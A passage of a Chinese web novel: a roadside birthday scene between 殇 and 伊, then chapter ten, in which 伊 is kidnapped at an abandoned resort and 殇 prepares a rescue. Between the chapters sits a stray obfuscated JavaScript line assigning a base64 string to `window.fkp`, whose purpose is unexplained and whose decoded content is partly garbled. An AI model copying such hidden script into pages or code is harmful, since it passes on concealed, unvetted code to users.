伊睁开了眼睛,轻轻地吹灭了蜡烛。这时殇从厨房拿来了一张清单与一把刀以及一个盘子,他先用刀把蛋糕切了一块下来,他将蛋糕放在盘子里,接着将盘子连同蛋糕放在了伊的面前。 殇: “(微笑)吃吧,一会面和蛋糕该凉了。(把手中的清单递给伊)一会把这个填一下,到时候我们进城了我按照这个清单依次完成你的愿望,就当是......我送给你的生日礼物了。” 伊: “(不好意思)殇,这好吗?” 殇: “有什么不好的,填就完了。” 伊接过清单,她并没有填写任何愿望在上面。伊拿起筷子尝了一口,面条很是美味,而且其中有着家乡的味道。伊想起了这种味道,她的母亲曾经带她吃过一次殇王国的传统面条馆,那是她第一次吃这种面条,也是童年的最后一次。尝到这种味道,伊对着殇竖起了大拇指,接着又吃了一口面。殇看着伊笑了笑,然后他想起了自己的过去,他的过去充满曲折与困难险阻,他曾一无所有,也曾拥有一切,想着想着,殇就想起了那把曾被自己遗弃的小咒刀。 殇: “(微笑)伊,你先吃。我出去透透气。” 伊点了点头。在殇离开车内后,伊回头看了一眼,确保殇没有回来。在确认殇短时间内不会回来后,伊转过头看着殇为自己做得蛋糕,看着看着,她的视线模糊了。两行感动的热泪从她的眼角流下,泪水滴在了面汤里。她拿着筷子,迟迟没有再吃一口。 伊: “(感动)殇.......你为什么要这么做?为什么?为什么你要这么做?为了我,值得吗?我难道不是你眼中实现永生的工具人吗?你我都知道的......(抽泣)呜呜呜呜......为了我这样卑微弱小的人......值得你这么做吗?” 此刻,殇就静静地站在车门口听着,他的表情十分严肃,他没有说活。殇悄悄地走到了路边,小咒刀此时正在对着空气练习斩击杀敌。小咒刀见到殇来了后停下了练习,飞到了殇的身旁。 小咒刀: “殇,伊怎么样了?你给她弄得她喜欢吗?” 殇: “(微笑)喜欢啊,怎么不喜欢呢?毕竟是我这个大帅哥亲手弄得。” 小咒刀: “殇,你真的回想起自己的身份了?” 殇: “想起来了一部分。我现在确定我就是殇王国的国王了,但不完全是。因为我现在只有一个灵魂,肉体还封存在王宫呢。” 小咒刀: “(期待)那你想起我来了吗?” 殇: “(微笑)没有。” 小咒刀: “(生气)啊啊啊啊~你都想起自己是国王怎么还想不起我?你那时不是最喜欢我这把剑的吗?我难道不是你最喜欢的武器吗?” 殇: “(微笑)这.......我忘了。” 小咒刀: “(生气)哼!坏蛋主人。我再也不跟你说话了。” 殇: “(坏笑)好了,好了。我跟你开玩笑的,我还记得你这个小恶魔。” 小咒刀: “你还是老样子啊。” 殇: “你这话说的。我什么时候变过样啊。” 小咒刀: “话说,你为什么要给她做哪些东西啊?” 殇回头看了一眼车内,他看了看伊,此刻伊正在看着蛋糕发呆,她的眼角还流淌着泪水,他不知道伊为什么哭,也许是想家了。殇转过头来装作无事发生,并且稍稍提高了一下自己的嗓音。 殇: “我应该跟你说过我的过去,你也知道我在成为国王之前有着怎样的生活。” 小咒刀: “这个你跟我说过,你曾经有个幸福美满的家庭。” 殇: “(叹了口气)哎......那都是过去的事了。说实话,我没跟你提到过我的家人,也没给你提到当初的那个晚上。” 听到车外殇的声音,伊停止发呆,放下筷子看向了殇,她心里有些好奇,她想从殇的话中知道些什么,于是她开始仔细聆听殇说的话。 殇: “我曾经有个女儿,她是我的大女儿。” 小咒刀: “(好奇)那肃清者呢?” 殇: “她是我的二女儿。是我从废墟之中救出来的孩子。——扯远了,说回这个话题。我大女儿的样子我还清楚地记得,她是白色的短发,红色的眼睛。她长得......很像伊。除了面部长得有些许区别以外,其他地方都一模一样。(愧疚)我愧对于她,因为当初我没能从殖民者手里把她就下来,她就死在了我面前。而我那时候竟然逃跑了!我没能立即为她报仇。” 小咒刀: “你后来还不是为她报仇了吗?你成了打退殖民者的英雄!” 殇: “是啊,但是逝去的已经回不来了。看着伊,我就能想起她。” 小咒刀: “这就是你为她做这么多的理由?” 殇: “一码事是一码事,仅此而已。” 小咒刀: “那你真的这么想吗?我看你的表现完全不像啊?” 殇: “我也不知道我怎么想的。我只知道我意志的深处有个声音告诉我要保护好周围的人,别像之前那样伤害那么多人了。我已经没有多少失去的资本了,我身边只有她了。” 小咒刀: “殇......你知道吗?伊只有一个母亲。” 殇: “(惊讶)你的意思是让我当他父亲吗?!那不是扯淡吗?” 小咒刀: “可你也是知道的,她缺少那东西。” 殇: “也不是不行,但是她怎么可能同意呢?认我这个一无所有的老混蛋为父亲,那个人会愿意?即便我曾经是国王,但那都只是过去了。” 小咒刀: “(笑)明的你给不了,那暗的你总给了吧。” 殇: “也是哈......这孩子缺少的东西,也就只有我这个老混蛋能弥补的了了。谁叫我曾是一位合格的父亲呢?” 此刻,在车内的伊被殇所说的话深深震撼到了。她的眼角再次流下了两行热泪,这次她是因为感动。一个素不相识的陌生人,竟然会为她做了这么多,其原因单纯地为了弥补心中的愧疚。伊能感觉到,殇对自己的好是出自内心的,可她这么长时间一直把他当做了利用她的坏人,她甚至还想着利用殇。伊的心里百感交集,她一直用错误的方式去对待殇。此刻,殇无数次救她的画面出现在她的眼前,她给殇惹了很多麻烦,但殇从来没有放弃过她。她曾经犯下了很严重的错误,但是殇还是选择了饶恕她。她一直都把殇想得太自私了。 伊心里: “(感动)原来......这就是你为我做这么多的理由吗?你原来一直都是真心对我好,我一直都错怪你了。对不起......殇,对不起!” 伊觉得愧对于殇,于是站了起来,跑到了车门处,走下了车。望着殇的背影,她看到了的不是一个不可救药的混蛋,而是一个真正合格的老父亲。 伊: “(流着泪)殇......” 殇听到伊的声音,缓缓转过身体看着她。伊的眼睛都哭红了,她的脸颊上全是泪水。 殇: “(微笑)你哭什么啊?伊。心情不好还是我做的面条不好吃啊?” 伊: “(流着泪)好吃......你做的最好吃了。” 殇: “那你为什么......” 没等殇说完,伊就跑到他的身前紧紧地抱住了他。殇见此愣了一下,然后用手轻轻抚摸伊的头来安抚她。 伊: “(流着泪)对不起!殇。对不起......” 殇: “(疑惑)怎么了?你今天吃错药了?(安慰)好了好了,别哭了,菜鸟。只会哭哭啼啼的可不行啊。遇到什么事了说出来,我给你去处理。” 伊: “(流着泪)对不起......殇,我一直都错怪你了。你一直都是我最好的朋友,你一直都是真心爱我的那个人!” 殇: “(有些不好意思)突然说这些干什么?整得这么煽情......好像跟那什么似的。(安慰)好了,好了。别哭了,你多大人了,还哭,坚强点!你也老大不小了。” 伊哭了有一会,殇身上的衣服有一部分湿透了,那都是伊的泪水弄湿的。在伊松开殇后,她的眼睛比之前更红了。此刻,在伊心里,殇的身份完全发生了改变。他不再是之前所认为的工具人,而是一个对于她至关重要的亲人。 殇: “(看向自己的衣服)你看看,这片都湿了。都是你眼泪与鼻涕。好端端的,哭什么啊?这下看你整得,眼睛红的跟个兔子似的。” 伊: “(擦了擦脸上的泪水)对不起,殇。我只是突然想明白了.......所以想哭了。” 殇: “是不是又想妈了?还是又想家了?” 伊: “可能两者都有吧。” 殇: “你这也太软弱了.......也对,你是个姑娘,不是小子。” 伊: “我以后会更坚强的。能少麻烦麻烦你。” 殇: “那挺好,我还懒得去忙活呢。——还有,笑一笑,这一直保持悲伤。” 伊擦了擦脸上的泪水,做了个深呼吸调节了自己的情绪,接着露出了笑容。 殇: “这就对了。笑着多好看。” 伊: “(笑)嗯。” 殇: “对了,我给你做的东西你吃完了吗?” 伊才想起来那些食物,她才只吃了两口面,其他的都没动。 伊: “(尬笑)没......没有呢。” 殇: “那你还等什么?赶紧去吃啊,吃饱了我们继续赶路。” 伊: “(点点头)好。” 伊回到了车内,她重新坐在饭桌旁边的椅子上,只不过这次她是带着另一种情感去吃这些食物。家乡的味道与熟悉的氛围笼罩着她,她感觉到久违的温暖,这似乎是家的感觉,这其中还蕴含着一种她从未感觉到过的爱。在她把面条吃完后,她刚想拿起蛋糕去吃,这时殇走了进来。 殇: “(微笑)诶,先别吃。我给你介绍一下过生日的一个传统习俗,我想你应该不知道吧。” 伊: “(好奇)习俗?什么习俗?” 殇: “(微笑)果然是不知道吧。那么接下来看我给你演示一下。” 殇用刀切下了一小块蛋糕,他没有拿盘子,而是直接把这块蛋糕放在手上。 殇: “看好了!首先把蛋糕放在手上。” 伊: “嗯。” 殇: “然后你盯住这块蛋糕。” 伊: “嗯。然后呢?” 殇把蛋糕直接拍在了伊的脸上,然后后撤了好几步。 伊: “哎呀!殇!” 殇: “(坏笑)这就是习俗,把奶油抹在过生日的那个人脸上。” 伊用手把脸上的奶油抹掉了一些,然后她舔了舔嘴边的奶油。奶油有些甜,奶香味十分浓郁。对于伊来说,这个奶油比她吃过任何东西都要甜。她往前走了两步想去追殇。 伊: “你这个坏蛋!” 这时伊想起了殇说的话,她看了看桌子上的蛋糕。她用刀在蛋糕上挂了一层奶油,然后抹在了手上。她的眼睛泛着泪光。 伊: “(笑)给我站住!殇。” 殇: “怎么了?才抹了你一脸奶油就哭了?” 伊: “(感动)才没有呢。我只是.......不管了,给我站住!” 伊跑到殇面前把手中的奶油全都抹在了殇的脸上,殇见此摸了摸脸上的奶油,他脸上的笑容瞬间消失了。伊见此感到有些紧张,她脸上的笑容也消失了。殇用手指刮了点奶油,然后舔了舔手指上奶油。殇的脸上出现了从来没有过的笑容,看到殇这样,伊也不紧张了,她也跟着笑了。 殇: “(笑)奶油还挺甜的......哈哈哈哈哈。生日快乐哈,伊。” 伊: “(笑)这些你也一样了。谢谢你,殇!” ....... ???: “时间循环的闭环貌似被打破了。不知为何,也不知是何地。我有预感,大事件即将到来。这次的大事件将不仅限于天灾入侵和企业战争,很可能会有意料之外的灾难降临。——安吉拉,你可能逃不过因果循环的报应了。躲过了那么多次时间重置,看你有没有能耐躲过这次......也不用多说,祝你和你那自称为天灾的孩子......nдnвaд,y6людok.(下地狱去吧,混蛋)” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第十话:天堂度假村 十几分钟后,在三角协会的总部之中,每位“都市之眼”都在密密麻麻的信息网上监控着这个世界上每个人的一举一动,由此来确保三角协会可以在反叛出现前就遏制反叛的发生。今天有些不一样。 几天前,鸿程伟梦(Great project and dream)位于西柏木的分公司出了一件大事,运输特级保护物的运输机因恐怖势力的袭击二坠毁在了西柏木边境的兰田乡,其中所丢失的特级保护物很可能是该公司的奇点造物。前几天的事件本以为就是个普普通通的坠机事件,结果到了今天,事情渐渐走向了不可控的灾难。所有的都市之眼都能感觉到来自灵魂深处的恐惧,所有都市之眼都感到了莫大的精神压力。 一种介于扭曲生物与感染生物之间的造物肆虐在兰田乡的土地上,它们呈各种憎恶扭曲的样子,其精神污染程度不亚于扭曲生物,比起那些扭曲生物,它们简直就是从地狱入侵到人间的怪物。它们盘旋汇聚在兰田乡的沃野之中,所经之处,只留下无数新诞生的幼体与畸变和腐化共存的土地。这着实恶心到了都市之眼,即便经过了极其专业的训练,但还是有大部分都市之眼直接在工作时出现了呕吐现象。它们的威胁指数已经超过了可观测的极限,这种威胁程度只有天灾才能达到,于是都市之眼立马激活了应急战备红色警报,并将该消息汇报给了三大管理员。三大管理员在接到消息后意识到了危险,她们立马召集所有高等协会的会长通过远程会议的方式开始了针对这一新威胁的会议。 等待三大管理员开完会的期间,有些都市之眼冒着可能烧坏脑子的风险继续观察这些新生物。随着他们观察的深入,一个可怕且残酷的物种在他们眼前淋漓尽致地展现了出来。这种物种的幼体都是一种有巴掌大的黑色虫子,幼体的成长必须在其他生物体内或者其种族的其他成体的喂食下才能完成。在该物种的幼体长大后会立即杀死所寄生的宿主,并取代宿主,接着它们改变宿主的外貌与身体机能,最后把宿主变成一个扭曲憎恶的怪物。都市之眼根据它们的样子与生长方式形象地给它们取名为“欧米伽寄生虫”。 在会议结束后,三大管理员找到了GpAd公司的老板丹尼·乔尔斯,并且通过远处通话的方式与丹尼进行交谈。 寰: “(压制怒火)丹尼先生,你做好给我们好好解释一下这到底是怎么回事。” 丹尼: “怎么回事?这不就是一起坠机导致的普通的药物泄露吗?” 寰: “(压制怒火)你确定吗?丹尼先生。我们的情报系统显示在你所谓的药物泄露地点出现了危险等级等于天灾的寄生虫生物。这......还是你所谓的药物泄露吗?” 丹尼: “(惊讶)嗯!你说什么?分公司的经理明明告诉我只是药物泄露。” 轇: “(微笑)看来你的公司内部有问题啊。丹尼先生,我希望你做好承担后果的准备。毕竟这事很快就会登上新闻头条了。” 丹尼: “我会立即进行相关方面的调查,如果有什么后果,都由我们GpAd来承担。” 弗: “(有些生气)这不是承不承担的事,你要是再给我们制造出了比扭曲生物还麻烦的生物来,我们以及我们名下的所有协会饶不了你们的。” 寰: “(压制怒火)她说得没错,如果你激起了我们以及人民的怒火,你们就会在怒火中灭亡的。这是自古以来的真理。” 丹尼: “不必担心,我们GpAd一定会处理好这件事的。我们惹出来的祸,我们自己掏腰包解决。” 轇: “(微笑)你还有点自知之明。最好如此......” 弗: “(严肃)丹尼先生,我建议你赶紧调查一下你们公司内部的腐败问题,如果留着祸患,将来必定酿成大祸。” 丹尼: “我知道了。” 与此同时...... 殇开着那辆从路上捡来的房车来到了天堂度假村的门口。殇和伊下了车,在他们眼前的是这世界曾经最着名的度假圣地,即使被废弃,但这的风采依旧不亚于当年。大门口还有专门的安检口,只不过这些安检装置因为废弃太久已经没有了电力,所以殇带着武器走过大门没有发出任何声响。刚刚走过大门,映入眼帘的是一条长长的大理石石板路,石板路旁边的草地上有着许多颗椰子树,在椰子树之间隐约能看到一个做工精致的凉亭。许多盏充满科技感的太阳能路灯在石板路外侧整齐地排成两行,好似两排看守家园守卫。远处依稀可以看到一个巨大的六翼十字架雕像。走到那个十字架雕像的前面,雕像的基座上写着有关度假村的介绍,例如有花了多少钱、谁来过、老板是谁等信息。殇和伊在天堂度假村里走了很久,度假村的规模远比他们想的要大。度假村里面有着很多游泳池与充满热带风情的小屋,在度假村的东边,还有着一个五十多层高的大酒店。殇很是淡定,但伊就跟进了一个新世界一样,双眼之中满是好奇。哪里都想看,哪里都想了解。走着走着,他们的步速渐渐降低,最后赶路变成了散步。 伊: “(激动)殇!这里好美啊。这就是有钱人的世界吗?” 殇: “别大惊小怪的,正常点。你又不是没见过世面。” 伊: “哦。(激动)但我还是很激动,因为我从来没有见过这样的地方,连想都没想过。” 殇: “(叹气)哎......这里曾经是有钱人的世界,现在不是了。不知道运营这里的家乡老板现在如今在何方了。” 伊: “(好奇)嗯?殇。你跟曾经这里的老板认识吗?” 殇: “(思考)我失去了许多记忆,但是我对这个人有印象。他好像是我的同学......” 伊: “(微笑)原来是同学关系啊......” 殇: “(警告)你可别关顾着参观,注意点周围。万一从哪里杀出来个小怪你就完了。” 伊: “(微笑)没事,有你保护我呢。” 殇: “虽说如此,但你还得注意下安全。毕竟我也不是万能的。” 伊: “(微笑)知道了。” 殇: “话说......小咒刀跑哪里去了?” 伊: “可能是分开去某个地方参观去了。” 殇: “这把剑可真是淘气啊。” 一个小时后,殇和伊在度假村中迷路了。他们找了很久的路,但就是没有找到出去的路。他们找到了一间小房子,接着在外面的太阳椅坐着休息。明媚的阳光照在他们的身上,殇见此打开了太阳伞来遮阳。此刻他们仿佛是来这里度假的旅人,就差一身热带必备的服装了。就在这时,殇突然看到了远处椰子林中的人影。 殇: “(警觉)嗯?伊,小心周围,又有人找上我们了。” 伊: “(惊讶)啊?又来了。” 殇离开太阳椅,他用E协议变出了Emw-96绿野仙踪(一把能量连弩),接着警觉地看着周围。伊也离开了太阳椅,她有些害怕地看了看周围,生怕从敌人直接从周围像之前那样掳走她。空气突然凝固了,周围的气氛变得紧张起来。就在电光火石之间,一发子弹精确无误地命中了殇的左臂。殇没有看到开枪的人,更没听到开火的声音,他现在完全不知道开黑枪的敌人在哪里。突然,殇的左边传来了枪声,在听到枪声后,殇立刻通过侧闪躲开了子弹。 殇: “伊!躲好了!” 伊点了点头,然后躲到了屋内。就在他跟伊说完话的时候,一发子弹贯穿了他的头,殇倒在了地上,他的肉体再次坏灭了。伊见到殇倒下,伊顾不得安全直接跑到了殇的身旁,她摇了摇殇的尸体并大声呼叫殇的名字,但回应她的只有寂静。就在这时,五个身份不明的枪手突然出现掳走了她。殇想要让核心脱离肉体,以寻找新的躯体附身来去救伊。但是他此刻怎么弄都无法脱离自己的肉体,这时他才注意到这具肉体有着他不知道特殊的功能。在一段时间后,熟悉的疼痛感重新出现,剧痛的感觉使得殇看到了希望。突然间,他睁开了眼睛,熟悉的世界再次出现在他的眼前。这时,小咒刀突然贴了上来,它的眼神之中满是惊喜与高兴,其中还蕴含着一丝愧疚。 小咒刀: “(笑)主人!你终于活过来了!” 殇坐起身来,看了看周围,伊早已经消失了,看来他醒晚了。 殇: “(生气)你他妈的跑哪里去了?!关键时候不见你身影了。” 小咒刀: “我......我只是想家了,回去看看......结果就......” 殇: “(生气)你他妈坏了大事了!伊估摸着又被人掳走了!要是你在的话,凭你的实力绝对可以保护好她的。要不是因为有人在阴处放黑枪,我就不会犯这种低级错误了。” 小咒刀: “殇,我......” 殇: “记你一过。现在不是道歉的时候,跟我走,我们两个把她救出来。” 小咒刀: “明白,主人。” 与此同时...... 在某个地点的房间里,伊被绑住了双手双脚,她靠着墙,努力地挣扎,但是没有任何作用。为了防止伊出声,伊的嘴被绷带缠上了。 伊: “唔唔唔唔!唔唔唔!” 在房间外,一位身着朋克大衣、下身穿着黑色牛仔裤、眼部是蜘蛛眼义体、手里拿着消音狙击步枪的男人正在通过电话与一个人聊天。 里夫·斯坦多: “老板,人抓到了。数据,也提取到了。” 杰: “(微笑)很好。我们马上就会派悬浮车去接你。到时候我会通知你,你们到时候去楼顶,我们悬浮车会降落在那里。” 里夫: “那么老板,分成的事.......” 杰: “还是按口头约定的那样,八二分成。” 里夫: “那么合作愉快,老板。” 杰: “先把数据传给我,我先给你拨一部分定金。” 里夫: “(笑)好的,老板。” 说完,里夫挂断了电话。他转头走向走廊的尽头,走到了自己其中一个同伴的面前。 克里斯: “伙计,谈得怎么样?” 里夫: “谈好了。到时候悬浮车来接我们,我们带着人回去就行。” 克里斯: “(担心)那钱怎么分?” 里夫: “还是八二,他二,我们八。” 克里斯: “卧槽,这他妈还挺好的。” 里夫: “(想起正事)先别说这件事了。把电脑拿来,我们先按照协议上的条约给老板先把数据传过去。然后我们立马就能拿到一笔钱。” 克里斯: “(笑)卧槽,好啊。(拿起盒装笔记本电脑)喏,拿去吧。” 随后里夫通过电脑把数据传输到了杰的隐秘信箱下,杰很快就把钱发给了他们。在发完钱后,杰来到了碧蓝苍穹的办公室之中。 杰: “老板,狂颅那群赛博疯子已经逮住了伊,并且您要的数据已经上传至公司的超脑网络之中。很快,我们就可以把她接回来了。” 碧蓝苍穹: “(笑)那可真是太好了呢。——对了,‘寻灵者’制作的怎么样了?” 杰: “老板,开发进度接近60%,很快您就可以完成您伟大的梦想了。” 碧蓝苍穹: “(笑)哈哈哈......没错,屑国王要的永生。我要的科学灵魂转移术,一并到齐。到时候,我亲爱的妹妹就能回来了。” 杰: “除此之外,狂颅还告诉我们他们杀死了殇。” 碧蓝苍穹: “(阴笑)哦?是吗?你可比忘了,殇现在可是拥有初阶的附身技术再加上我们的奇点科技,你觉得他会死吗?而且别忘了,他还是我们完成寻灵者制作的零号实验体啊。” 杰: “那么那群赛博疯子可有的苦头吃了。” 碧蓝苍穹: “(不屑)要不是因为他们正好要去天堂岛去偷什么展示品,而且都是一群好说话的疯子,不然我连看都懒得看这群垃圾。到时候钱照样给,但要是任务除了什么差错......就立即给我处死他们。并销毁一切对我们不利的证据。” 杰: “明白了,老板。” 与此同时...... 殇在度假村中火急火燎地寻找伊的身影,殇和小咒刀分头行动,一个在天空中了望收集信息,一个在地面上疾驰寻找痕迹,但找了很久,就是不见伊的踪影。殇起初试着追寻那些人的痕迹,但是那些人的痕迹被人为处理掉了,殇根本没办法通过这种方法找到他们。 小咒刀: “(急)主人,找不到啊。周围都看遍了,任何痕迹都没看到。” 殇: “(气愤)真是他妈的日了狗了!操!那群放黑枪的跑哪去了?!” 夏天本来就很热,再加上着急伊愤怒,殇的全身如同被炽热的沙海埋没了一样热,汗水止不住地从他的头上流下。就在殇焦头烂额之时,从他的背后传来了熟悉的声音。 流浪商人: “(微笑)别着急啊,殇。” 殇猛地一转头,发现之前熟悉的车厢再次出现在他的眼前,熟悉的流浪商人就在车厢旁微笑着等待。看到流浪商人后,殇有些惊讶,他之前看这个地方明明什么都没有,而这回头的功夫这里就突然多出了一节车厢。这车厢就跟凭空出现一样,没有任何声音,也没留下任何痕迹与响动。 殇: “流浪商人?你怎么突然就出现了?我刚刚看这里......” 流浪商人: “(微笑)哈哈哈哈......我的车厢有奇点科技,能够瞬移,无论何地。” 殇: “原来如此。” 流浪商人: “(微笑)殇,你是不是在找那个白头发的小姑娘。” 殇: “(惊讶)你怎么知道?” 流浪商人: “(微笑)这个啊,不能告诉你。反正我是无所不知无所不晓的。如果你想救她,那就来我的小卖铺里挑点东西吧,总有你想要的。” 听到流浪商人这么说,殇带着一丝好奇心走进了流浪商人的车厢。刚进去,殇就看到了许久不见的马婷婷,马婷婷换了一身更专业的猎人服装,她看起来更加成熟了。她正在柜台上看书,完全没有注意到殇已经进到了店中。 殇: “诶,马婷婷。好久不见啊。” 马婷婷放下书,定睛一看,这个人她完全不认得。 马婷婷: “(恭敬)你好,欢迎来到本店。有什么想要的吗?” 殇: “(疑惑)你不记得我了吗?马婷婷?” 马婷婷: “(疑惑)嗯?我们......认识吗?” 殇: “也对,我原先的肉体坏灭了.......马婷婷,我是殇。” 马婷婷: “(惊讶)什么?你是殇!可你之前你怎么完全变了个样?” 殇: “这个数来话长。还有,马婷婷。伊又被抓走了。” 马婷婷: “(惊讶)啊?伊姐姐她又被抓走了。你知道是谁抓走得她吗?” 殇: “(摇摇头)不知道。流浪商人说这里能有帮助我东西,我就进来找找。” 马婷婷: “能帮助你的东西......让我想想。——对了,我知道了。这里的确有个东西能帮你,只不过按照规矩......你得付钱。” 殇: “啊?” 殇转头看向了身后的小咒刀,身后的小咒刀见到殇看着他不禁开始紧张,它能从殇的凝视之中看出他有些想要卖出他的意思。 流浪商人: “(微笑)殇,我猜你应该没多少钱了吧。她说的那个东西有两万通币,你就是把你背上那把剑卖了也买不起的。——这样如何,这两万你先欠着。要是你有钱了,你就再回来还。行吗?” 殇: “(有些难为情)这......行吧,现在时间紧迫,只能这么办了。” 流浪商人: “(微笑)婷婷,把我准备的那个双子符文拿出来。” 马婷婷: “好的,老板。” 马婷婷走到了储物间,在短暂的寻找后,她拿着一个宛如太极一样的符文从储物间走了出来。她把符文放在柜台上,然后她用一种十分期待的眼神看着殇,仿佛是在告诉殇一定要伊救出来。殇用坚定的眼神回答了她,他看了看这个符文,又回头看了看流浪商人,流浪商人冲着他点了点头。他转过头去用核心吸收了这个符文,在符文激活后,殇感觉到了一种十分强大的力量涌入了自己的体内,似曾相识的感觉。殇获得了徒手爬墙、堕落之力与洞察者的能力。 这时,流浪商人拿起了一把飞刀,接着他把飞刀扔向了殇。就在飞刀刚刚离开流浪商人手的瞬间,殇只听见叮的一声,突然间他的双眼变成了青绿色,这时他猛地一转身发现周围时间的流速貌似变慢了,许多许多东西在这时都已经不动了,唯独这把飞刀在动。这把飞刀以极慢地速度正在飞向他,他见此直接用手接住了这把飞刀。他看了看手中的飞刀,这时他再抬起头时,他发现时间的流速恢复到了正常。 殇: “(惊奇)嗯?怎么回事?刚刚发生了什么?时间仿佛减速了一样......” 流浪商人: “(微笑)那是洞察者的能力。” 殇: “(好奇)洞察者,这个能力我没听过......” 流浪商人: “(微笑)洞察者能让你在九秒之内进入缓慢时空,但是每次使用都得等待三十秒才能再次使用,而且还要消耗你很多的核心能量。控制全靠你的意识与潜意识,非常好用。有了这个能力,你就再也不怕被人偷袭了。” 殇: “哦?那可真是太好了。我把伊弄丢主要是因为有放黑枪的,有了这个,看他们还怎么阴我。(微笑)谢谢你,流浪商人。” 流浪商人: “(微笑)不用谢,我的朋友。或者说,тoвapnщ(同志).” 殇: “好了,祝你今天愉快,我得去救伊了。” 流浪商人: “(微笑)路上顺利,我的朋友。顺带一提,你可以去最高的酒店去找找,那里的可能性稍稍大一些,也许地下或者楼顶可能会是你的目的地哦。” 殇: “好的。谢了,流浪商人。” 马婷婷: “(微笑)拜拜,殇。加油啊!伊姐姐就靠你了。” 殇: “知道了,马婷婷。” 在告别流浪商人和马婷婷之后,殇有了些头绪,他觉得可以按照流浪商人说的去找那个最高的酒店,毕竟现在只有那里没有去过了。在前往那家酒店的路上,殇仔细分析了一下,他觉得伊真有可能如流浪商人说的一样在酒店的地下或者楼顶,因为这有这两个地方才不会引起任何人的注意。就在殇快到目的地的时候,偶然间,殇在一颗树旁看到了正在度假村花丛中采花的一个人。他带着斗笠,后面背着装花的框子。出于好奇,殇走上前去搭话。 殇: “嘿!” 听到殇的声音,这个人缓缓转过身来。这个人是一个年过半百的老人,从脸上的皱纹与手上的泥来看,他很可能是一位老园丁。他在见到殇后十分地高兴,就跟见到了许久未见的朋友一样。 ???: “(惊喜)哇!活人,是活着的人!你好你好,请问你叫什么名字?” 殇: “我叫殇。你叫什么?” 修: “(微笑)我叫修,是住在度假村中的一位平庸的医生。(关心)你来这里是做什么啊?这里很危险的,有吃人的怪物。” 殇: “我和同伴在这里遇到了一伙来历不明的匪徒,那些匪徒打晕了我,带走了她。(指向那边的最高的大酒店)我现在要去那边的酒店里去找找,也许能找到她。” 修: “匪徒?(想起了什么)嗯......我知道了,是他们。我刚刚在采花的时候看到了他们,他们就带着一个晕倒的姑娘去了你指的那个大酒店。我以为是他们的同伴,没想到竟是你的同伴。(叹了口气)哎......少侠,赶紧去吧,一会......” 这时从周围传出了刺耳的嘶吼声,殇和修看了看周围,他们发现有几只红毛怪盯上了他们。这些红毛怪对天咆哮了几声,接着更多的红毛怪赶了过来。这些红毛怪各个都是皮包骨,看样子已经被饿上了许久。他们虎视眈眈地看着殇和修,他们渐渐露出了獠牙。每个红毛怪都在左右挪步,跃跃欲试。 殇: “看来,它们盯上我们了。” 修: “少侠,你跑吧。这些怪物可不是什么善茬,我来殿后。” 殇: “(自信)跑?哼,就这群杂碎还不够我塞牙缝的呢。” 修: “别逞强啊,少侠。你还要救你的同伴呢,你不能在这里出事啊。” 这时,殇注意到修身旁的白色小光点,他笑了笑,他此刻知道了面前这位老人的身份。他并没有立刻说出来,因为他要给这位老人一个面子。 殇: “(自信地笑)我的实力很强的,老头。你才是要小心的那个!还有,让一个手无缚鸡之力的老头殿后不是我的风格。” 修: “年轻人啊......真是气盛呢。真怀念这种感觉,就好像回到了年轻时一样。” 殇转身看向那些红毛怪,这些红毛怪虎视眈眈地看着他,好像要把他撕成碎片。殇自信地笑了笑,然后对着它们竖起了中指。这些红毛怪貌似明白了什么,它们更加急躁了,貌似被殇的嘲讽所激怒了。 殇: “激活,E协议。生成Emw-96,Emw-68!” 殇张开双臂,黄绿两种线条从他的核心之中涌出,接着分别在他的左手和右手处各汇聚成了一把弩和骑枪。殇握住这两把武器,蓄势待发。这时,他把骑枪插在了地面上,准备接下来的一套连招,然后他拉动弩弦激活了这把独特的能量连弩。此刻殇察觉到了自己身后的仙气,他能明白这个老头的想法,虽然他不想露出任何能够揭示自己的破绽,但是为了心中的善,他还是露出了马脚。殇笑了笑,转过头看向修。 殇: “(笑)老头,不用装了。我知道你认识我。我说的没错吧,仙老弟。” 修: “(微笑)还是让你看出来了,我就知道我捉急的演技骗不过你啊。殇。” 殇: “(笑)别忘了,你可是民间最后一位修仙学成功人士了。你的读灵术我可是见识过的,只要没有转世投胎,任何伪装都是骗不过你的。” 修: “(微笑)多礼了,少侠。” 殇转头看向那些红毛怪,他发现那些红毛怪往前偷偷挪了好几步,顿时空气中开始弥漫着火药味,战斗随时可能开始。 殇: “(自信地笑)不必多言,开始战斗吧。” 修: “(微笑)你还是那么急性子啊。” 修伸出左手,随后汇聚全身的核心能量,顿时他周围隐藏的所有白色光点全部显形,好似许多双突然睁开的眼睛。光点在他手前汇聚成中心有着莲花图案的光环,接着更多的光点出现了,它们在他的左右两边各形成了一个中间有着太极的光环,太极正在运转着,似乎无穷的力量蕴含其中。纯洁的风在此刻开始吹动,周围的地面上升起了如丝绸一样的薄雾,周围有一丝仙境的感觉。突然间,一种神秘的压迫感袭来,所有的红毛怪在这瞬间感觉到了恐惧。突然,几十把纯白无瑕的剑出现在那两个太极光环之中,剑锋直指那些红毛怪。 修: “(苦笑)好久没用过了。上次用还是跟女儿一起练功的时候......哎,流不完的泪啊。” 殇: “老弟,你不还有个宝贝孙女的吗?” 修: “你说她啊,也许活着,也许跟她爹妈一起死在了感染潮之中。” 殇: “(笑)那正好,现在你就能找些感染者复仇了!用你的绝招狠狠地打它们!” 修: “(坦然地笑)不,过去的已经过去了。” 殇: “(疑惑)你这样难道不会感觉愧疚与压抑吗?” 修: “(坦然地笑)泪我已经流过了,过去的人与事都过去了。人不必在昨日的伤痛中一直痛苦,因为这样只会堕入仇恨的深渊。必须看向明日,因为生活总要继续。记住伤痛,心怀希望。这样才对得起自己与家人。就如太阳。无论怎样,太阳总会升起的。” 殇: “(夸赞)不愧是修为顶尖的仙啊,觉悟要超正常人啊。” 修: “(微笑)为成正果,必须超脱。为走新路,必有觉悟。” 殇: “老弟,你先上还是我先上?” 修: “(微笑)我先吧,符文阵都准备好了。” 殇: “(笑)好,你来吧。” 修: “等下,等他们发起进攻,我们再回击。” 